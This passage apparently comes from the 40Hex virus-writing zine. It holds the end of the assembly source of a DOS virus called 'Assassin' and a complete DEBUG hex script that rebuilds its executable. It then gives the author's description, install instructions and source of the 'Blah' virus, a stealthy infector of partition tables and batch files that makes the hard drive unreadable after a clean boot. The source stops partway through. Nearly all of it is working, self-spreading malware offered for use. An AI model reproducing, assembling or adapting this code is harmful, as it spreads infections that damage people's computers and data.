cmp ax,vir_size
|
||
jc_exit:
|
||
jb jc_exit_
|
||
cmp ax,0ffffh-(vir_size+2)
|
||
ja jne_exit_
|
||
mov dx,es
|
||
or dx,dx
|
||
jne_exit_:
|
||
jnz i21_3e_exit
|
||
mov ds:[di+15h],dx
|
||
mov ds:[di+17h],dx
|
||
les si,dword ptr ds:[di+7]
|
||
les si,dword ptr es:[si+2]
|
||
add ax,si
|
||
dec ax
|
||
div si
|
||
mov cx,es
|
||
inc cx
|
||
div cl
|
||
or ah,ah
|
||
jz i21_3e_exit
|
||
sub cl,ah
|
||
cmp cl,vir_sector
|
||
jc_exit_:
|
||
jb i21_3e_exit
|
||
les ax,ds:[di+4]
|
||
push ax
|
||
push es
|
||
and ax,1000000000011100b
|
||
jnz close_
|
||
mov byte ptr ds:[di+2],2
|
||
mov ds:[di+4],al
|
||
|
||
call read_cmp
|
||
jbe close
|
||
|
||
mov si,cx
|
||
cmp_device:
|
||
dec si
|
||
lodsw
|
||
inc ax
|
||
loopnz cmp_device
|
||
jcxz not_device
|
||
dec ax
|
||
cmp ax,ds:[si]
|
||
je close
|
||
jmp short cmp_device
|
||
not_device:
|
||
mov ax,es:[di+11h]
|
||
mov es:[di+15h],ax
|
||
|
||
mov cx,vir_size+2
|
||
mov dx,offset id
|
||
call write
|
||
pop bx
|
||
jc close
|
||
sub es:[di+11h],ax
|
||
dec cx
|
||
dec cx
|
||
cwd
|
||
mov es:[di+15h],dx
|
||
call write
|
||
pop bx
|
||
close:
|
||
push es
|
||
pop ds
|
||
close_:
|
||
pop ds:[di+6]
|
||
pop ds:[di+4]
|
||
mov bp,0dh*2
|
||
call i21_func
|
||
pop bx
|
||
i21_3e_exit:
|
||
mov ax,1227h
|
||
int 2fh
|
||
jmp i21_3f_exit
|
||
|
||
i21_3f:
|
||
call set2324_restore21
|
||
|
||
les ax,dword ptr es:[di+15h]
|
||
push ax
|
||
push es
|
||
call read
|
||
pop bp
|
||
pop si
|
||
cmc
|
||
jnc jnc_exit
|
||
test word ptr es:[di+4],1000000000011000b
|
||
jnz jnz_3f_exit
|
||
or bp,bp
|
||
jnz_3f_exit:
|
||
jnz i21_3f_exit
|
||
sub si,vir_size
|
||
jnc_exit:
|
||
jae i21_3f_exit
|
||
xor cx,cx
|
||
xchg cx,es:[di+15h]
|
||
push cx
|
||
xor cx,cx
|
||
xchg cx,es:[di+17h]
|
||
push cx
|
||
push ax
|
||
push si
|
||
|
||
push dx
|
||
push ds
|
||
call read_cmp
|
||
pop ds
|
||
pop dx
|
||
jc i21_3f_exit_1
|
||
jne i21_3f_exit_1
|
||
|
||
push dx
|
||
push ds
|
||
|
||
push es
|
||
pop ds
|
||
mov ax,ds:[di+11h]
|
||
mov ds:[di+15h],ax
|
||
add word ptr ds:[di+11h],vir_size+2
|
||
|
||
mov cl,2
|
||
mov dx,offset read_buffer
|
||
push cs
|
||
pop ds
|
||
call read
|
||
pop ds
|
||
pop dx
|
||
jc i21_3f_exit_2
|
||
cmp word ptr cs:read_buffer,'SD'
|
||
je i21_3f_l0
|
||
mov ax,1218h
|
||
int 2fh
|
||
or byte ptr ds:[si+16h],1
|
||
jmp short i21_3f_exit_2
|
||
i21_3f_l0:
|
||
pop si
|
||
neg si
|
||
mov ax,es:[di+11h]
|
||
sub ax,si
|
||
mov es:[di+15h],ax
|
||
pop cx
|
||
push cx
|
||
push cx
|
||
cmp cx,si
|
||
jb i21_3f_l1
|
||
mov cx,si
|
||
i21_3f_l1:
|
||
call read
|
||
i21_3f_exit_2:
|
||
sub word ptr es:[di+11h],vir_size+2
|
||
i21_3f_exit_1:
|
||
pop ax
|
||
pop ax
|
||
pop es:[di+17h]
|
||
pop es:[di+15h]
|
||
i21_3f_exit:
|
||
call set21_restore23
|
||
push ax
|
||
mov ax,1218h
|
||
int 2fh
|
||
mov ax,ds:[si+16h]
|
||
shr ax,1
|
||
pop ax
|
||
mov ds:[si],ax
|
||
retf
|
||
|
||
int23:
|
||
call set21_restore23
|
||
jmp dword ptr cs:old23
|
||
|
||
int24:
|
||
xor ax,ax
|
||
iret
|
||
int2a:
|
||
pop cs:i21_table
|
||
pop cs:i21_table[2]
|
||
sub sp,4
|
||
jmp dword ptr cs:old2a
|
||
|
||
msg db ' This is [Assassin] written by Dark Slayer '
|
||
db 'in Keelung. Taiwan <R.O.C> '
|
||
|
||
constant:
|
||
|
||
pcb dw 0,80h,?,5ch,?,6ch,?
|
||
id db 'DS'
|
||
vir_end:
|
||
|
||
read_buffer db vir_size dup(?)
|
||
|
||
old2a dw ?,?
|
||
old23 dw ?,?
|
||
old24 dw ?,?
|
||
i21_3e_data db 3 dup(?)
|
||
i21_3f_data db 3 dup(?)
|
||
i21_table dw ?,?
|
||
i21_far_jmp dw ?
|
||
|
||
memory_end:
|
||
end start
|
||
----------------------
|
||
N assassin.com
|
||
E 0100 33 FF 8B 55 02 80 EE 05 B4 26 CD 21 8B 6D 2C B4
|
||
E 0110 4A BB 8A 00 CD 21 B4 52 CD 21 26 8B 5F FE 8C C8
|
||
E 0120 48 8C D9 8E DB 43 8B D3 03 5D 03 0B ED 75 24 3B
|
||
E 0130 C3 75 05 81 45 03 8B 00 3B C1 75 17 89 55 01 BF
|
||
E 0140 08 00 1E 07 8B F7 8E D8 8B CF F3 A4 52 05 11 00
|
||
E 0150 50 EB 24 80 3D 4D 74 C9 80 3D 5A 74 C4 BC 95 08
|
||
E 0160 83 EA 7B 8E C2 2B D1 4A 8E D9 89 55 03 BE 00 01
|
||
E 0170 B9 BF 03 F3 2E A4 06 B8 2A 35 CD 21 1F 1E BF 8F
|
||
E 0180 07 89 5D EE 8C 45 F0 B4 25 BA 57 03 CD 21 8B D3
|
||
E 0190 06 1F CD 21 07 26 C5 35 AD 4E 3D 2E 8B 75 F9 AD
|
||
E 01A0 80 FC 9F 75 F4 A5 AF 8D 84 20 FE AB 96 C7 04 CB
|
||
E 01B0 EA C7 44 02 EA 01 8C 44 04 C6 44 06 EA C7 44 07
|
||
E 01C0 A2 02 8C 44 09 E8 F6 00 8B CD E3 29 8E DD 33 F6
|
||
E 01D0 AD 4E 0B C0 75 FA 8D 54 03 BF B3 04 0E 07 8C C8
|
||
E 01E0 AB AF AB AF AB B8 00 4B BB AF 04 CD 21 B4 4D CD
|
||
E 01F0 21 B4 4C CD 21 5A B4 26 CD 21 B3 03 88 5E 1D B8
|
||
E 0200 16 12 CD 2F 45 26 89 2D 8E D2 8E DA B8 00 42 B3
|
||
E 0210 05 99 CD 21 B4 3F 49 FE C6 CD 21 B4 3E CD 21 1E
|
||
E 0220 07 1E 52 CB B9 BF 03 8B D1 0E 1F E8 11 00 72 0E
|
||
E 0230 51 33 F6 B1 AF AC 3A 84 BE 03 E1 F9 F8 59 C3 53
|
||
E 0240 52 1E B8 29 12 CD 2F 1F 5A 5B C3 BD 80 00 58 53
|
||
E 0250 0E 50 0E 1F FF 36 93 07 C4 3E 8F 07 06 26 FF 33
|
||
E 0260 CB 1E BE 8C 00 33 C0 8E D8 BF 81 07 0E 07 B8 4C
|
||
E 0270 03 BD 02 00 A5 89 44 FE A5 8C 4C FE B0 54 4D 75
|
||
E 0280 F3 8B F7 0E 1F BD FC FF 45 45 C4 3E 8F 07 26 8B
|
||
E 0290 7B 7E A4 A5 75 F2 1F 5D 58 06 50 53 B8 20 12 CD
|
||
E 02A0 2F 26 8A 1D B8 16 12 CD 2F 5B FF E5 BE 81 07 0E
|
||
E 02B0 1F BF 8C 00 33 C9 8E C1 B1 04 F3 A5 0E 07 50 BB
|
||
E 02C0 FC FF BF 89 07 26 8B 4D 0A 41 43 26 C5 36 8F 07
|
||
E 02D0 8B 40 7F 8B F0 A4 A5 96 2B C1 F7 D8 C6 04 E9 89
|
||
E 02E0 44 01 83 C1 05 43 75 E2 58 C3 E8 74 FF 72 24 06
|
||
E 02F0 1F 83 3D 01 75 15 C4 45 28 8C C2 3D 43 4F 75 04
|
||
E 0300 B0 4D EB 05 3D 45 58 75 02 3A D0 75 11 C4 45 11
|
||
E 0310 3D BF 03 72 2B 3D 3E FC 77 04 8C C2 0B D2 75 7A
|
||
E 0320 89 55 15 89 55 17 C4 75 07 26 C4 74 02 03 C6 48
|
||
E 0330 F7 F6 8C C1 41 F6 F1 0A E4 74 5F 2A CC 80 F9 02
|
||
E 0340 72 58 C4 45 04 50 06 25 1C 80 75 41 C6 45 02 02
|
||
E 0350 88 45 04 E8 CE FE 76 33 8B F1 4E AD 40 E0 FB E3
|
||
E 0360 07 48 3B 04 74 25 EB F2 26 8B 45 11 26 89 45 15
|
||
E 0370 B9 C1 03 BA BD 03 E8 D2 FE 5B 72 0F 26 29 45 11
|
||
E 0380 49 49 99 26 89 55 15 E8 C1 FE 5B 06 1F 8F 45 06
|
||
E 0390 8F 45 04 BD 1A 00 E8 B5 FE 5B B8 27 12 CD 2F E9
|
||
E 03A0 98 00 E8 BC FE 26 C4 45 15 50 06 E8 91 FE 5D 5E
|
||
E 03B0 F5 73 10 26 F7 45 04 18 80 75 02 0B ED 75 7B 81
|
||
E 03C0 EE BF 03 73 75 33 C9 26 87 4D 15 51 33 C9 26 87
|
||
E 03D0 4D 17 51 50 56 52 1E E8 4A FE 1F 5A 72 52 75 50
|
||
E 03E0 52 1E 06 1F 8B 45 11 89 45 15 81 45 11 C1 03 B1
|
||
E 03F0 02 BA BF 03 0E 1F E8 46 FE 1F 5A 72 2D 2E 81 3E
|
||
E 0400 BF 03 44 53 74 0B B8 18 12 CD 2F 80 4C 16 01 EB
|
||
E 0410 19 5E F7 DE 26 8B 45 11 2B C6 26 89 45 15 59 51
|
||
E 0420 51 3B CE 72 02 8B CE E8 15 FE 26 81 6D 11 C1 03
|
||
E 0430 58 58 26 8F 45 17 26 8F 45 15 E8 6F FE 50 B8 18
|
||
E 0440 12 CD 2F 8B 44 16 D1 E8 58 89 04 CB E8 5D FE 2E
|
||
E 0450 FF 2E 81 07 33 C0 CF 2E 8F 06 8F 07 2E 8F 06 91
|
||
E 0460 07 83 EC 04 2E FF 2E 7D 07 20 54 68 69 73 20 69
|
||
E 0470 73 20 5B 41 73 73 61 73 73 69 6E 5D 20 77 72 69
|
||
E 0480 74 74 65 6E 20 62 79 20 44 61 72 6B 20 53 6C 61
|
||
E 0490 79 65 72 20 69 6E 20 4B 65 65 6C 75 6E 67 2E 20
|
||
E 04A0 54 61 69 77 61 6E 20 3C 52 2E 4F 2E 43 3E 20 00
|
||
E 04B0 00 80 00 00 00 5C 00 00 00 6C 00 00 00 44 53
|
||
R CX
|
||
03BF
|
||
W
|
||
Q
|
||
----------------------
|
||
40Hex Number 14 Volume 5 Issue 1 File 005
|
||
|
||
The Blah virus is a memory-resident, stealth, multipartite partition table/
|
||
batch file virus. What follows is the raw source file. After the source file
|
||
is a batch file infected with Blah which demonstrates the workings of the
|
||
virus. To install the virus, simply run this batch file. Or you can assemble
|
||
the source, run the output file, and then execute a batch file. Be cautious
|
||
when running this virus, however, since it immediately infects the partition
|
||
table and your hard drive will become unavailable should you boot from
|
||
diskette. You have been warned!
|
||
|
||
comment ~
|
||
The Blah virus
|
||
The world's only stealth, multipartite PT/BAT infector
|
||
Written by Dark Angel at the end of 1994
|
||
|
||
This virus is "mostly stealth" and "mostly harmless". It infects the
|
||
partition table on hd0 as well as batch files.
|
||
|
||
To install the virus, simply assemble this source to a COM file and run the
|
||
output. The virus will then reside on the partition table of the first hard
|
||
drive of the computer.
|
||
|
||
The partition table portion of the virus loads itself into the slack space
|
||
between the partition table and the first disk partition. The virus assumes
|
||
the first disk partition is the one closest to the partition table, which is
|
||
reasonable. It only infects the partition table on the first physical hard
|
||
drive, since that will always be loaded anyway. The original partition table
|
||
is stored following the virus code in the aforementioned slack space.
|
||
|
||
Since the partition table infector does not copy the partition table itself
|
||
into its code, several effects result. First, the system will not recognise
|
||
the hard drive if it is booted from a floppy. This can be considered a useful
|
||
side-effect, since it prevents disinfection via a clean boot. Additionally,
|
||
when modifying the virus, one must take care to keep the word 0AA55 at offset
|
||
01FE in the file, or else the BIOS will not recognise the partition table as
|
||
a valid one.
|
||
|
||
If you edit a batch file while the virus is in memory, the batch file will
|
||
become infected by the virus, but will load into memory as if it were
|
||
uninfected. When you save the file, it will remain uninfected. However, once
|
||
you run the batch file, it will again become infected.
|
||
|
||
This virus adds 3004 bytes to batch files. However, this file will assemble
|
||
to 1148 bytes, since an encoded form of this file is written to batch files.
|
||
|
||
The virus prepends its own code to the batch files that it infects. This
|
||
code consists of lines which 1. create an executable file 2. run this
|
||
executable file 3. delete the executable file and 4. reruns the batch file.
|
||
The code which creates the executable file is simply a bunch of ECHO
|
||
statements which are redirected into a file. These characters, when run,
|
||
will run the code you see below. The bytes following the ECHO consist of
|
||
code which reassembles and runs the code below and the data of the virus,
|
||
which is encoded in a special printable text-only format. The virus removes
|
||
this file after it has executed it in order to cover its traces. Finally,
|
||
the virus runs the batch file again. This is to allow the stealth to work
|
||
properly. The stealth works by bumping up all read requests on infected
|
||
files by an amount equal to the size of the virus prepended text. The stealth
|
||
is designed to not take effect until after the third file open it sees.
|
||
Since DOS opens batch files each time it needs to execute the next command,
|
||
this is the equivalent of waiting until after two statements have executed.
|
||
This leaves enough time to remove the temporary file and reexecute the batch
|
||
file. Now the stealth kicks in and DOS doesn't even see the virus code in
|
||
the batch file.
|
||
|
||
The virus hides the filelength increase on directory searches (in .BAT files
|
||
only, of course). It also hides itself from reads (with handle calls only).
|
||
It infects when a .BAT file is opened. It stamps files with a 62 second mark,
|
||
but that is for the findfirst/findnext routine only. The checks for previous
|
||
infection do not make any assumptions based on the file creation time.
|
||
|
||
The virus also prevents overwriting of itself in the partition table. It also
|
||
redirects attempts to view absolute sector 0. However, it does not try to
|
||
stop reads to other parts of the disk that are infected, i.e. the sectors
|
||
immediately following the first.
|
||
|
||
The source code to the decoder (the raw text is included in the virus) can
|
||
be found at the end.
|
||
|
||
Anyway, this virus was written mostly because I felt like doing something
|
||
lame. I think I succeeded, with only a modest effort.
|
||
|
||
Dark Angel, Phalcon/Skism, 31 December 1994
|
||
|
||
Happy New Year's!
|
||
~
|
||
|
||
.model tiny
|
||
.code
|
||
.radix 16
|
||
|
||
org 0
|
||
our_buffer label byte
|
||
|
||
org 80
|
||
line label byte
|
||
|
||
org 100
|
||
|
||
viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f
|
||
resK = (end_all - our_buffer + 3ff) / 400
|
||
resP = resK * 40
|
||
sector_length = (heap - blah + 1ff) / 200
|
||
|
||
blah: xor bp,bp
|
||
xor si,si
|
||
|
||
cmp [si],20CDh ; check if there is a PSP
|
||
jz in_com ; to see if we are in COM or
|
||
; boot (don't just check SP
|
||
; since COM might not load in
|
||
; a full segment if memory is
|
||
; sparse)
|
||
inc bp
|
||
|
||
; hey! we're in the boot sector or the partition table
|
||
; assume in partition table for the time being
|
||
push si
|
||
cli
|
||
pop ss
|
||
mov sp,-2 ; doesn't really matter
|
||
sti
|
||
|
||
mov ax,200 + sector_length
|
||
mov es,si
|
||
mov bx,7c00 + 200
|
||
mov cx,2
|
||
mov dx,80
|
||
int 13
|
||
|
||
mov dx,0f800
|
||
|
||
db 0ea
|
||
dw offset install, 7b0
|
||
|
||
in_com: mov dx,0f904
|
||
|
||
mov ah,62 ; get the PSP
|
||
int 21 ; also tells existing copies
|
||
; to disable themselves
|
||
; (for NetWare compatability)
|
||
dec bx ; go to MCB so we can
|
||
mov ds,bx ; twiddle with it
|
||
|
||
sub word ptr [si+3],resP ; reserve two K of memory
|
||
sub word ptr [si+12],resP ; in DOS for the virus
|
||
|
||
install: mov cs:init_flag,dl
|
||
mov byte ptr cs:i13_patch,dh
|
||
|
||
mov ds,si ; reserve two K of memory
|
||
mov dx,word ptr ds:413
|
||
sub dx,resK
|
||
mov word ptr ds:413,dx ; from the BIOS count
|
||
mov cl,6
|
||
shl dx,cl ; K -> paragraph
|
||
|
||
les ax,ds:84
|
||
mov cs:old_i21,ax
|
||
mov cs:old_i21+2,es
|
||
|
||
les ax,ds:4c
|
||
mov cs:old_i13,ax
|
||
mov cs:old_i13+2,es
|
||
|
||
mov es,dx
|
||
push cs
|
||
pop ds
|
||
mov si,offset blah
|
||
mov di,si
|
||
mov cx,(offset end_zopy - blah + 1) / 2
|
||
rep movsw
|
||
|
||
mov es,cx
|
||
|
||
mov es:4c,offset i13
|
||
mov es:4e,dx
|
||
|
||
or bp,bp
|
||
jz exit_com
|
||
|
||
exit_boot: mov ax,201 ; read the original partition
|
||
xor cx,cx ; table to 0:7C00
|
||
mov dx,80 ; since the i13 handler is in
|
||
mov es,cx ; place, we can load from where
|
||
inc cx ; the partition table should
|
||
mov bx,7c00 ; be, instead of where it
|
||
pushf
|
||
push es bx ; actually is
|
||
jmp dword ptr [bp+4bh] ; int 13 / iret
|
||
|
||
exit_com: mov es:84,offset i21
|
||
mov es:86,dx
|
||
|
||
infect_hd: push ax cx dx bx ds es
|
||
|
||
push cs cs
|
||
pop es ds
|
||
|
||
mov ax,201
|
||
mov bx,100 + (sector_length*200)
|
||
mov cx,1
|
||
mov dx,80
|
||
call call_i13 ; get original partition table
|
||
|
||
adj_ofs = (100 + (sector_length*200))
|
||
|
||
cmp word ptr cs:[adj_ofs+decoder-blah],'e@'
|
||
jz already_infected
|
||
|
||
mov al,ds:[adj_ofs+1C0]
|
||
cbw
|
||
or ax,ds:[adj_ofs+1C2]
|
||
jnz enough_room
|
||
cmp byte ptr ds:[adj_ofs+1C1],sector_length+1
|
||
jbe already_infected ; not enough room for virus
|
||
|
||
enough_room: mov ax,301 + sector_length ; write to disk
|
||
mov bx,100 ; cx = 1, dx = 80 already
|
||
call call_i13
|
||
|
||
already_infected:
|
||
pop es ds bx dx cx ax
|
||
ret
|
||
|
||
db 'Blah virus',0
|
||
db '(DA/PS)',0
|
||
|
||
; I indulged myself in writing the decoder; it's rather much larger than it
|
||
; needs to be. This was so I could insert random text strings into the code.
|
||
; The decoder creates a file which, when run, will execute the encoded file.
|
||
; In this case, we are encoding the virus. See the beginning for a complete
|
||
; explanation of how the virus works.
|
||
decoder db '@echo <20>PSBAT!<21><>PS<50>'
|
||
fsize dw -1 * (heap - blah)
|
||
db 'XYZ<59><5A>U<EFBFBD>S<01> 2<><32>H<EFBFBD>ج,AêMt<02><><0B>t<05><><EFBFBD>>',0ba,'.com',0Dh,0A
|
||
db '@echo <20><><EFBFBD>2<EFBFBD>YP<59><50><EFBFBD><F3A4ABB8>2૾PS<50>DB<44><42>DA<44>'
|
||
endline: db '>>',0ba,'.com',0Dh,0A
|
||
; The next line is to ease the coding. This way, the same number of statements
|
||
; pass between the running of the temporary program and the reloading of the
|
||
; batch file for both AUTOEXEC.BAT on bootup and regular batch files. Running
|
||
; the temporary file installs the virus into memory. Note the following lines
|
||
; are never seen by the command interpreter if the virus is already resident.
|
||
enddecoder: db '@if %0. == . ',0ba,0Dh,0A
|
||
db '@',0ba,0Dh,0A
|
||
db '@del ',0ba,'.com',0Dh,0A
|
||
; The next line is necessary because autoexec.bat is loaded with %0 == NULL
|
||
; by COMMAND.COM. Without this line, the virus could not infect AUTOEXEC.BAT,
|
||
; which would be a shame.
|
||
db '@if %0. == . autoexec',0Dh,0A
|
||
db '@%0',0Dh,0A
|
||
endcleanup:
|
||
|
||
chain_i13: push [bp+6]
|
||
call dword ptr cs:old_i13
|
||
pushf
|
||
pop [bp+6]
|
||
ret
|
||
|
||
call_i13: pushf
|
||
call dword ptr cs:old_i13
|
||
ret
|
||
|
||
write: mov ah,40
|
||
calli21: pushf
|
||
call dword ptr cs:old_i21
|
||
ret
|
||
|
||
check_signature:and word ptr es:[di+15],0
|
||
push es di cs cs
|
||
pop ds es
|
||
mov ah,3f
|
||
cwd ; mov dx,offset our_buffer
|
||
mov cx,enddecoder - decoder
|
||
call calli21
|
||
|
||
cld
|
||
mov si,offset decoder
|
||
mov di,dx
|
||
mov cx,enddecoder - decoder
|
||
rep cmpsb
|
||
|
||
pop di es
|
||
ret
|
||
|
||
|
||
i13: clc ; this is patched to
|
||
jnc i13_patch ; disable the i13 handler
|
||
jmp disabled_i13 ; this is a stupid hiccup
|
||
|
||
i13_patch: clc ; this is patched to once
|
||
jc multipartite_installed ; i21 is installed
|
||
|
||
push ax bx ds es
|
||
|
||
mov ax,0AA55 ; offset 02FE of the virus
|
||
; this is the PT signature
|
||
|
||
xor ax,ax
|
||
mov es,ax
|
||
|
||
lds bx,es:84
|
||
mov ax,ds
|
||
cmp ax,cs:old_i21+2
|
||
jz not_DOS_yet
|
||
or ax,ax ; Gets set to address in zero
|
||
jz not_DOS_yet ; segment temporarily. ignore.
|
||
cmp ax,800
|
||
ja not_DOS_yet
|
||
cmp ax,es:28*4+2 ; make sure int 28 handler
|
||
jnz not_DOS_yet ; the same (OS == DOS?)
|
||
cmp bx,cs:old_i21
|
||
jz not_DOS_yet
|
||
install_i21: push cs
|
||
pop ds
|
||
mov ds:old_i21,bx
|
||
mov ds:old_i21+2,ax
|
||
mov es:84,offset i21
|
||
mov es:86,cs
|
||
inc byte ptr ds:i13_patch
|
||
not_DOS_yet: pop es ds bx ax
|
||
multipartite_installed:
|
||
push bp
|
||
mov bp,sp
|
||
|
||
cmp cx,sector_length + 1 ; working on virus area?
|
||
ja jmp_i13
|
||
|
||
cmp dx,80
|
||
jnz jmp_i13
|
||
|
||
cmp ah,2 ; reading partition table?
|
||
jz stealth_i13
|
||
not_read: cmp ah,3 ; write over partition table?
|
||
jnz jmp_i13
|
||
call infect_hd
|
||
|
||
push si cx bx ax
|
||
|
||
mov al,1
|
||
|
||
cmp cl,al ; are we working on partition
|
||
jnz not_write_pt ; table at all?
|
||
|
||
mov cx,sector_length + 1
|
||
call chain_i13
|
||
jc alt_exit_i13
|
||
|
||
not_write_pt: pop ax
|
||
push ax
|
||
|
||
cbw
|
||
sub al,sector_length + 2 ; calculate number of remaining
|
||
add al,cl ; sectors to write
|
||
js alt_exit_i13
|
||
jz alt_exit_i13
|
||
|
||
push cx
|
||
sub cx,sector_length + 2 ; calculate number of sectors
|
||
neg cx ; skipped
|
||
addd: add bh,2 ; and adjust buffer pointer
|
||
loop addd ; accordingly
|
||
pop cx
|
||
|
||
or ah,1 ; ah = 1 so rest_stealth makes
|
||
jmp short rest_stealth ; it a write
|
||
|
||
jmp_i13: pop bp
|
||
disabled_i13: jmp dword ptr cs:old_i13
|
||
|
||
stealth_i13: push si cx bx ax
|
||
call infect_hd
|
||
|
||
mov si,bx
|
||
|
||
mov al,1
|
||
|
||
cmp cl,al
|
||
jnz not_read_pt
|
||
|
||
mov cx,sector_length + 1
|
||
call chain_i13
|
||
jc alt_exit_i13
|
||
|
||
add bh,2 ; adjust buffer ptr
|
||
|
||
not_read_pt: pop ax
|
||
push ax
|
||
push di ax
|
||
mov di,bx
|
||
mov ah,0
|
||
add al,cl
|
||
|
||
cmp al,sector_length + 2
|
||
jb not_reading_more
|
||
mov al,sector_length + 2
|
||
not_reading_more:cmp cl,1
|
||
jnz not_pt
|
||
dec ax
|
||
not_pt: sub al,cl
|
||
jz dont_do_it ; resist temptation!
|
||
|
||
mov cl,8
|
||
shl ax,cl ; zero out sectors
|
||
mov cx,ax
|
||
cbw ; clear ax
|
||
rep stosw
|
||
mov bx,di ; adjust buffer
|
||
|
||
dont_do_it: pop ax di
|
||
mov ah,0
|
||
|
||
mov cl,9
|
||
sub si,bx
|
||
neg si
|
||
shr si,cl
|
||
sub ax,si
|
||
jz alt_exit_i13
|
||
|
||
rest_stealth: sub ax,-200
|
||
mov cx,sector_length + 2
|
||
call chain_i13
|
||
|
||
alt_exit_i13: pop bx
|
||
mov al,bl
|
||
pop bx cx si bp
|
||
iret
|
||
|
||
i24: mov al,3
|
||
iret
|
||
|
||
chain_i21: push [bp+6] ; push flags on stack again
|
||
call dword ptr cs:old_i21
|
||
pushf ; put flags back onto caller's
|
||
pop [bp+6] ; interrupt stack area
|
||
ret
|
||
|
||
infect_bat: mov cx,200 ; conquer the holy batch file!
|
||
move_up: sub bp,cx
|
||
jns $+6
|
||
add cx,bp
|
||
xor bp,bp
|
||
mov es:[di+15],bp ; move file pointer
|
||
|
||
mov ah,3f ; read in portion of the file
|
||
mov dx,offset big_buffer
|
||
call calli21
|
||
|
||
add word ptr es:[di+15],viruslength
|
||
sub word ptr es:[di+15],ax
|
||
call write ; move the data up
|
||
|
||
or bp,bp
|
||
jnz move_up
|
||
|
||
move_up_done: mov word ptr es:[di+15],bp ; go to start of file
|
||
|
||
mov cx,enddecoder - decoder
|
||
mov dx,offset decoder
|
||
call write
|
||
|
||
push es di cs
|
||
pop es
|
||
|
||
mov bp,heap - blah
|
||
mov si,offset blah
|
||
encode_lines: mov di,offset line
|
||
mov cx,20
|
||
encode_line: lodsb
|
||
push ax
|
||
and ax,0F0
|
||
inc ax
|
||
stosb
|
||
pop ax
|
||
and ax,0F
|
||
add al,'A'
|
||
stosb
|
||
dec bp
|
||
jz finished_line
|
||
loop encode_line
|
||
|
||
finished_line: mov cx,6
|
||
mov dx,offset decoder
|
||
call write
|
||
|
||
mov cx,di
|
||
mov dx,offset line
|
||
sub cx,dx
|
||
call write
|
||
|
||
mov cx,enddecoder-endline
|
||
mov dx,offset endline
|
||
call write
|
||
|
||
or bp,bp
|
||
jnz encode_lines
|
||
|
||
pop di es
|
||
|
||
mov cx,endcleanup - enddecoder
|
||
mov dx,offset enddecoder
|
||
call write
|
||
|
||
ret
|
||
|
||
; check neither extension nor timestamp in case file was renamed or
|
||
; something like that
|
||
|
||
; will hang without this stealth because of the line
|
||
; @%0 that it adds to batch files
|
||
handle_read: push es di si ax cx dx ds bx
|
||
|
||
xor si,si
|
||
|
||
cmp cs:init_flag,0
|
||
jnz dont_alter_read
|
||
|
||
mov ax,1220
|
||
int 2f
|
||
jc dont_alter_read
|
||
|
||
xor bx,bx
|
||
mov bl,es:di
|
||
mov ax,1216
|
||
int 2f ; es:di now -> sft
|
||
jc dont_alter_read
|
||
|
||
pop bx ; restore the file handle
|
||
push bx
|
||
|
||
push es:[di+15] ; save current offset
|
||
|
||
call check_signature
|
||
mov si,viruslength
|
||
pop bx
|
||
jz hide_read
|
||
xor si,si
|
||
hide_read: add bx,si
|
||
mov es:[di+15],bx
|
||
dont_alter_read:pop bx ds dx cx ax
|
||
|
||
call chain_i21
|
||
|
||
sub es:[di+15],si
|
||
|
||
pop si di es
|
||
_iret: pop bp
|
||
iret
|
||
|
||
handle_open: cmp cs:init_flag,0
|
||
jz keep_going
|
||
dec cs:init_flag
|
||
keep_going: call chain_i21
|
||
jc _iret
|
||
push ax cx dx bp si di ds es
|
||
|
||
xchg si,ax ; filehandle to si
|
||
|
||
mov ax,3524
|
||
int 21
|
||
push es bx ; save old int 24 handler
|
||
|
||
xchg bx,si ; filehandle back to bx
|
||
push bx
|
||
mov si,dx ; ds:si->filename
|
||
|
||
push ds
|
||
mov ax,2524 ; set new int 24 handler
|
||
push cs
|
||
pop ds
|
||
mov dx,offset i24
|
||
call calli21
|
||
pop ds
|
||
|
||
cld
|
||
|
||
find_extension: lodsb ; scan filename for extension
|
||
or al,al ; no extension?
|
||
jz dont_alter_open
|
||
cmp al,'.' ; extension?
|
||
jnz find_extension
|
||
|
||
lodsw ; check if it's .bat
|
||
or ax,2020
|
||
cmp ax,'ab'
|
||
jnz dont_alter_open
|
||
lodsb
|
||
or al,20
|
||
cmp al,'t'
|
||
jnz dont_alter_open
|
||
|
||
mov ax,1220 ; if so, get jft entry
|
||
int 2f
|
||
jc dont_alter_open
|
||
|
||
xor bx,bx
|
||
mov bl,es:di
|
||
mov ax,1216 ; now get SFT
|
||
int 2f
|
||
jc dont_alter_open
|
||
|
||
pop bx ; recover file handle
|
||
push bx
|
||
|
||
mov bp,word ptr es:[di+11] ; save file size
|
||
or bp,bp
|
||
jz dont_alter_open
|
||
|
||
mov byte ptr es:[di+2],2 ; change open mode to r/w
|
||
mov ax,word ptr es:[di+0dh] ; get file time
|
||
and ax,not 1f ; set the seconds field
|
||
or ax,1f
|
||
mov word ptr es:[di+0dh],ax
|
||
|
||
call check_signature
|
||
jz dont_alter1open ; infected already!
|
||
|
||
call infect_bat
|
||
|
||
dont_alter1open:or byte ptr es:[di+6],40 ; set flag to set the time
|
||
and word ptr es:[di+15],0
|
||
mov byte ptr es:[di+2],0 ; restore file open mode
|
||
dont_alter_open:pop bx dx ds
|
||
mov ax,2524
|
||
call calli21
|
||
pop es ds di si bp dx cx ax bp
|
||
iret
|
||
|
||
findfirstnext: call chain_i21 ; standard file length
|
||
push ax bx si ds es ; hiding
|
||
cmp al,-1
|
||
jz dont_alter_fffn
|
||
|
||
mov ah,2f ; get the DTA to es:bx
|
||
int 21
|
||
push es
|
||
pop ds
|
||
cmp byte ptr [bx],-1
|
||
jnz not_extended
|
||
add bx,7
|
||
; won't hide if extension is changed, but otherwise gives it away by disk
|
||
; accesses
|
||
not_extended: cmp word ptr [bx+9],'AB'
|
||
jnz dont_alter_fffn
|
||
cmp byte ptr [bx+0bh],'T'
|
||
jnz dont_alter_fffn
|
||
cmp word ptr [bx+1dh],viruslength
|
||
jb dont_alter_fffn
|
||
mov al,[bx+17]
|
||
and al,1f
|
||
cmp al,1f
|
||
jnz dont_alter_fffn
|
||
and byte ptr [bx+17],not 1f
|
||
sub word ptr [bx+1dh],viruslength
|
||
dont_alter_fffn:pop es ds si bx ax bp
|
||
iret
|
||
|
||
inst_check: cmp bx,0f904
|
||
jnz jmp_i21
|
||
push si di cx
|
||
mov si,offset blah
|
||
mov di,100
|
||
mov cx,offset i13 - offset blah
|
||
db 2e
|
||
rep cmpsb
|
||
jnz not_inst
|
||
|
||
inc byte ptr cs:i13 ; disable existing copy of
